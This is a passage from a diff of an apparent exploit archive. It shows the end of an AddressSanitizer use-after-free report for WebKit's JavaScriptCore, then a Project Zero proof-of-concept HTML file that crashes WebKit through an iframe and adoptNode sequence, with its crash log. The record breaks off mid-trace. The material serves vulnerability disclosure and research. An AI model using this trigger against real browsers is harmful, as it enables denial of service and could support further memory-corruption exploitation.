#12 0x7fffeb99b1fc in thread_start (/usr/lib/system/libsystem_pthread.dylib+0x31fc)
|
||||
|
||||
0x607000099738 is located 72 bytes inside of 80-byte region [0x6070000996f0,0x607000099740)
|
||||
freed by thread T20 here:
|
||||
#0 0x1031d4cf4 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4bcf4)
|
||||
#1 0x1080b073f in bmalloc::Deallocator::deallocateSlowCase(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18fd73f)
|
||||
#2 0x106c7d70d in JSC::B3::Procedure::deleteOrphans() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4ca70d)
|
||||
#3 0x107439a98 in JSC::FTL::(anonymous namespace)::LowerDFGToB3::lower() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc86a98)
|
||||
#4 0x10743889a in JSC::FTL::lowerDFGToB3(JSC::FTL::State&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc8589a)
|
||||
#5 0x107232ee5 in JSC::DFG::Plan::compileInThreadImpl(JSC::DFG::LongLivedState&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa7fee5)
|
||||
#6 0x10722f7e2 in JSC::DFG::Plan::compileInThread(JSC::DFG::LongLivedState&, JSC::DFG::ThreadData*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa7c7e2)
|
||||
#7 0x1073e1b87 in JSC::DFG::Worklist::ThreadBody::work() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc2eb87)
|
||||
#8 0x10802330b in WTF::AutomaticThread::start(WTF::Locker<WTF::LockBase> const&)::$_0::operator()() const (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x187030b)
|
||||
#9 0x1080974bd in WTF::threadEntryPoint(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e44bd)
|
||||
#10 0x108097b9d in WTF::wtfThreadEntryPoint(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e4b9d)
|
||||
#11 0x7fffeb99baaa in _pthread_body (/usr/lib/system/libsystem_pthread.dylib+0x3aaa)
|
||||
#12 0x7fffeb99b9f6 in _pthread_start (/usr/lib/system/libsystem_pthread.dylib+0x39f6)
|
||||
#13 0x7fffeb99b1fc in thread_start (/usr/lib/system/libsystem_pthread.dylib+0x31fc)
|
||||
|
||||
previously allocated by thread T20 here:
|
||||
#0 0x1031d4790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790)
|
||||
#1 0x7fffeb9062d9 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x22d9)
|
||||
#2 0x1080ba154 in bmalloc::DebugHeap::malloc(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1907154)
|
||||
#3 0x1080af4fb in bmalloc::Allocator::allocateSlowCase(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18fc4fb)
|
||||
#4 0x108046e95 in bmalloc::Allocator::allocate(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1893e95)
|
||||
#5 0x108046178 in WTF::fastMalloc(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1893178)
|
||||
#6 0x106a13b32 in JSC::B3::Value* JSC::B3::Procedure::add<JSC::B3::Value, JSC::B3::Opcode, JSC::B3::Type, JSC::B3::Origin>(JSC::B3::Opcode, JSC::B3::Type, JSC::B3::Origin) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x260b32)
|
||||
#7 0x10743aa02 in JSC::FTL::(anonymous namespace)::LowerDFGToB3::createPhiVariables() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc87a02)
|
||||
#8 0x107438f1d in JSC::FTL::(anonymous namespace)::LowerDFGToB3::lower() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc85f1d)
|
||||
#9 0x10743889a in JSC::FTL::lowerDFGToB3(JSC::FTL::State&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc8589a)
|
||||
#10 0x107232ee5 in JSC::DFG::Plan::compileInThreadImpl(JSC::DFG::LongLivedState&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa7fee5)
|
||||
#11 0x10722f7e2 in JSC::DFG::Plan::compileInThread(JSC::DFG::LongLivedState&, JSC::DFG::ThreadData*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa7c7e2)
|
||||
#12 0x1073e1b87 in JSC::DFG::Worklist::ThreadBody::work() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc2eb87)
|
||||
#13 0x10802330b in WTF::AutomaticThread::start(WTF::Locker<WTF::LockBase> const&)::$_0::operator()() const (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x187030b)
|
||||
#14 0x1080974bd in WTF::threadEntryPoint(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e44bd)
|
||||
#15 0x108097b9d in WTF::wtfThreadEntryPoint(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e4b9d)
|
||||
#16 0x7fffeb99baaa in _pthread_body (/usr/lib/system/libsystem_pthread.dylib+0x3aaa)
|
||||
#17 0x7fffeb99b9f6 in _pthread_start (/usr/lib/system/libsystem_pthread.dylib+0x39f6)
|
||||
#18 0x7fffeb99b1fc in thread_start (/usr/lib/system/libsystem_pthread.dylib+0x31fc)
|
||||
|
||||
Thread T20 created by T0 here:
|
||||
#0 0x1031ca379 in wrap_pthread_create (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x41379)
|
||||
#1 0x108097acb in WTF::createThreadInternal(void (*)(void*), void*, char const*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e4acb)
|
||||
#2 0x108097325 in WTF::createThread(char const*, std::__1::function<void ()>) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18e4325)
|
||||
#3 0x1080217fb in WTF::AutomaticThread::start(WTF::Locker<WTF::LockBase> const&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x186e7fb)
|
||||
#4 0x1073dc5c8 in JSC::DFG::Worklist::enqueue(WTF::PassRefPtr<JSC::DFG::Plan>) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xc295c8)
|
||||
#5 0x1070919e1 in JSC::DFG::compileImpl(JSC::VM&, JSC::CodeBlock*, JSC::CodeBlock*, JSC::DFG::CompilationMode, unsigned int, JSC::Operands<JSC::JSValue> const&, WTF::PassRefPtr<JSC::DeferredCompilationCallback>) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x8de9e1)
|
||||
#6 0x1070913c8 in JSC::DFG::compile(JSC::VM&, JSC::CodeBlock*, JSC::CodeBlock*, JSC::DFG::CompilationMode, unsigned int, JSC::Operands<JSC::JSValue> const&, WTF::PassRefPtr<JSC::DeferredCompilationCallback>) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x8de3c8)
|
||||
#7 0x1071e8a07 in JSC::DFG::tierUpCommon(JSC::ExecState*, unsigned int, unsigned int) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa35a07)
|
||||
#8 0x1071e9589 in triggerOSREntryNow (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xa36589)
|
||||
#9 0x449e46e022e0 (<unknown module>)
|
||||
#10 0x107a904fc in llint_entry (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12dd4fc)
|
||||
#11 0x107a89aca in vmEntryToJavaScript (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12d6aca)
|
||||
#12 0x10773d60d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf8a60d)
|
||||
#13 0x1076c60dd in JSC::Interpreter::execute(JSC::ProgramExecutable*, JSC::ExecState*, JSC::JSObject*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf130dd)
|
||||
#14 0x106ea73a6 in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f43a6)
|
||||
#15 0x106ea75ae in JSC::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6f45ae)
|
||||
#16 0x10c86d8c3 in WebCore::JSMainThreadExecState::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x25348c3)
|
||||
#17 0x10c86d434 in WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&, WebCore::ExceptionDetails*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2534434)
|
||||
#18 0x10c881081 in WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2548081)
|
||||
#19 0x10c87e0c2 in WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x25450c2)
|
||||
#20 0x10b01bb60 in WebCore::HTMLScriptRunner::runScript(WebCore::ScriptElement&, WTF::TextPosition const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xce2b60)
|
||||
#21 0x10b01b8a5 in WebCore::HTMLScriptRunner::execute(WTF::Ref<WebCore::ScriptElement>&&, WTF::TextPosition const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xce28a5)
|
||||
#22 0x10af4576e in WebCore::HTMLDocumentParser::runScriptsForPausedTreeBuilder() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc0c76e)
|
||||
#23 0x10af45e52 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc0ce52)
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-use-after-free (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4c7f15) in JSC::B3::Procedure::resetReachability()
|
||||
Shadow bytes around the buggy address:
|
||||
0x1c0e00013290: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
|
||||
0x1c0e000132a0: 00 00 fa fa fa fa 00 00 00 00 00 00 00 00 fc 00
|
||||
0x1c0e000132b0: fa fa fa fa 00 00 00 00 00 00 00 00 fc 00 fa fa
|
||||
0x1c0e000132c0: fa fa 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
|
||||
0x1c0e000132d0: 00 00 00 00 00 00 00 00 fc 00 fa fa fa fa fd fd
|
||||
=>0x1c0e000132e0: fd fd fd fd fd fd fd[fd]fa fa fa fa 00 00 00 00
|
||||
0x1c0e000132f0: 00 00 00 fc fc fa fa fa fa fa 00 00 00 00 00 00
|
||||
0x1c0e00013300: 00 fc fc fa fa fa fa fa 00 00 00 00 00 00 00 fc
|
||||
0x1c0e00013310: fc fa fa fa fa fa 00 00 00 00 00 00 00 fc fc fa
|
||||
0x1c0e00013320: fa fa fa fa 00 00 00 00 00 00 00 fc fc fa fa fa
|
||||
0x1c0e00013330: fa fa 00 00 00 00 00 00 00 fc fc fa fa fa fa fa
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Heap right redzone: fb
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack partial redzone: f4
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
==32191==ABORTING
|
||||
-->
|
185
platforms/multiple/dos/41868.html
Executable file
185
platforms/multiple/dos/41868.html
Executable file
|
@ -0,0 +1,185 @@
|
|||
<!--
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1099
|
||||
|
||||
This is a regression test from: https://crbug.com/541206.
|
||||
But I think it seems not possible to turn it into an UXSS in WebKit.
|
||||
|
||||
PoC:
|
||||
-->
|
||||
|
||||
<body>
|
||||
<script>
|
||||
|
||||
var s = document.body.appendChild(document.createElement('script'));
|
||||
s.type = '0';
|
||||
s.textContent = 'document.body.appendChild(parent.i0)';
|
||||
|
||||
var i0 = s.appendChild(document.createElement('iframe'));
|
||||
s.type = '';
|
||||
|
||||
var f = document.body.appendChild(document.createElement('iframe'));
|
||||
f.contentDocument.adoptNode(i0);
|
||||
f.src = 'about:blank';
|
||||
|
||||
</script>
|
||||
</body>
|
||||
|
||||
<!--
|
||||
Asan Log:
|
||||
==54938==ERROR: AddressSanitizer: heap-use-after-free on address 0x61a0000c5a80 at pc 0x0001151d388b bp 0x7fff584254c0 sp 0x7fff584254b8
|
||||
READ of size 8 at 0x61a0000c5a80 thread T0
|
||||
#0 0x1151d388a in WTF::TypeCastTraits<WebCore::FrameView const, WebCore::ScrollView const, false>::isType(WebCore::Widget const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7788a)
|
||||
#1 0x115c355e8 in WebCore::FrameView::convertToContainingView(WebCore::IntPoint const&) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xad95e8)
|
||||
#2 0x1176e8df7 in WebCore::ScrollView::contentsToContainingViewContents(WebCore::IntPoint const&) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x258cdf7)
|
||||
#3 0x1176af5d4 in WebCore::ScrollingCoordinator::absoluteEventTrackingRegionsForFrame(WebCore::Frame const&) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x25535d4)
|
||||
#4 0x1176afb10 in WebCore::ScrollingCoordinator::absoluteEventTrackingRegions() const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2553b10)
|
||||
#5 0x115298ff9 in WebCore::AsyncScrollingCoordinator::frameViewLayoutUpdated(WebCore::FrameView&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x13cff9)
|
||||
#6 0x115c140f9 in WebCore::FrameView::performPostLayoutTasks() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xab80f9)
|
||||
#7 0x115c1c24a in WebCore::FrameView::layout(bool) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xac024a)
|
||||
#8 0x11586e89e in WebCore::Document::implicitClose() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x71289e)
|
||||
#9 0x115bdf621 in WebCore::FrameLoader::checkCompleted() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa83621)
|
||||
#10 0x115bdcafa in WebCore::FrameLoader::finishedParsing() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa80afa)
|
||||
#11 0x11588c12d in WebCore::Document::finishedParsing() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x73012d)
|
||||
#12 0x115d8f14d in WebCore::HTMLDocumentParser::prepareToStopParsing() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc3314d)
|
||||
#13 0x11592316c in WebCore::DocumentWriter::end() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7c716c)
|
||||
#14 0x1158e622f in WebCore::DocumentLoader::finishedLoading(double) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x78a22f)
|
||||
#15 0x1158ee2e5 in WebCore::DocumentLoader::maybeLoadEmpty() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7922e5)
|
||||
#16 0x1158ee6d3 in WebCore::DocumentLoader::startLoadingMainResource() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7926d3)
|
||||
#17 0x115beec01 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa92c01)
|
||||
#18 0x115be8495 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8c495)
|
||||
#19 0x115bfc4ba in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4::operator()(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa04ba)
|
||||
#20 0x115bfc301 in void std::__1::__invoke_void_return_wrapper<void>::__call<WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool>(WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4&&&, WebCore::ResourceRequest const&&&, WTF::PassRefPtr<WebCore::FormState>&&, bool&&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa0301)
|
||||
#21 0x1170fd592 in std::__1::function<void (WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool)>::operator()(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa1592)
|
||||
#22 0x1170fd300 in WebCore::PolicyCallback::call(bool) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa1300)
|
||||
#23 0x1170ff0aa in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa30aa)
|
||||
#24 0x107df7b2e in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60fb2e)
|
||||
#25 0x107df7986 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60f986)
|
||||
#26 0x107e07dbc in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::PolicyAction)>) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x61fdbc)
|
||||
#27 0x1170fea08 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool)>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa2a08)
|
||||
#28 0x115be72b3 in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8b2b3)
|
||||
#29 0x115be5de6 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa89de6)
|
||||
#30 0x115be2113 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WTF::PassRefPtr<WebCore::FormState>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa86113)
|
||||
#31 0x115bdb1c4 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WTF::PassRefPtr<WebCore::FormState>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa7f1c4)
|
||||
#32 0x115bda68e in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa7e68e)
|
||||
#33 0x116fdaa98 in WebCore::ScheduledLocationChange::fire(WebCore::Frame&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e7ea98)
|
||||
#34 0x116fd732f in WebCore::NavigationScheduler::timerFired() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e7b32f)
|
||||
#35 0x117b92cd1 in WebCore::ThreadTimers::sharedTimerFiredInternal() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2a36cd1)
|
||||
#36 0x116df2baf in WebCore::timerFired(__CFRunLoopTimer*, void*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1c96baf)
|
||||
#37 0x7fff93728243 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x91243)
|
||||
#38 0x7fff93727ece in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x90ece)
|
||||
#39 0x7fff93727a29 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x90a29)
|
||||
#40 0x7fff9371f3e0 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x883e0)
|
||||
#41 0x7fff9371e973 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87973)
|
||||
#42 0x7fff92caaacb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30acb)
|
||||
#43 0x7fff92caa900 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30900)
|
||||
#44 0x7fff92caa735 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30735)
|
||||
#45 0x7fff91250ae3 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x46ae3)
|
||||
#46 0x7fff919cb21e in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x7c121e)
|
||||
#47 0x7fff91245464 in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3b464)
|
||||
#48 0x7fff9120fd7f in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x5d7f)
|
||||
#49 0x7fffa8edb8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x108c6)
|
||||
#50 0x7fffa8eda2e3 in xpc_main (/usr/lib/system/libxpc.dylib+0xf2e3)
|
||||
#51 0x1077d1b73 in main (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
|
||||
#52 0x7fffa8c77254 in start (/usr/lib/system/libdyld.dylib+0x5254)
|
||||
|
||||
0x61a0000c5a80 is located 0 bytes inside of 1232-byte region [0x61a0000c5a80,0x61a0000c5f50)
|
||||
freed by thread T0 here:
|
||||
#0 0x10a087db9 in wrap_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4adb9)
|
||||
#1 0x10d0da25b in bmalloc::Deallocator::deallocateSlowCase(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18c725b)
|
||||
#2 0x11759427e in WTF::RefPtr<WebCore::Widget>::operator=(std::nullptr_t) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x243827e)
|
||||
#3 0x117592d19 in WebCore::RenderWidget::setWidget(WTF::RefPtr<WebCore::Widget>&&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2436d19)
|
||||
#4 0x115bd46be in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa786be)
|
||||
#5 0x107e0df0b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x625f0b)
|
||||
#6 0x115beb6cf in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8f6cf)
|
||||
#7 0x115bea77b in WebCore::FrameLoader::commitProvisionalLoad() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8e77b)
|
||||
#8 0x1158e6197 in WebCore::DocumentLoader::finishedLoading(double) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x78a197)
|
||||
#9 0x1158ee2e5 in WebCore::DocumentLoader::maybeLoadEmpty() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7922e5)
|
||||
#10 0x1158ee6d3 in WebCore::DocumentLoader::startLoadingMainResource() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7926d3)
|
||||
#11 0x115beec01 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa92c01)
|
||||
#12 0x115be8495 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8c495)
|
||||
#13 0x115bfc4ba in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4::operator()(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa04ba)
|
||||
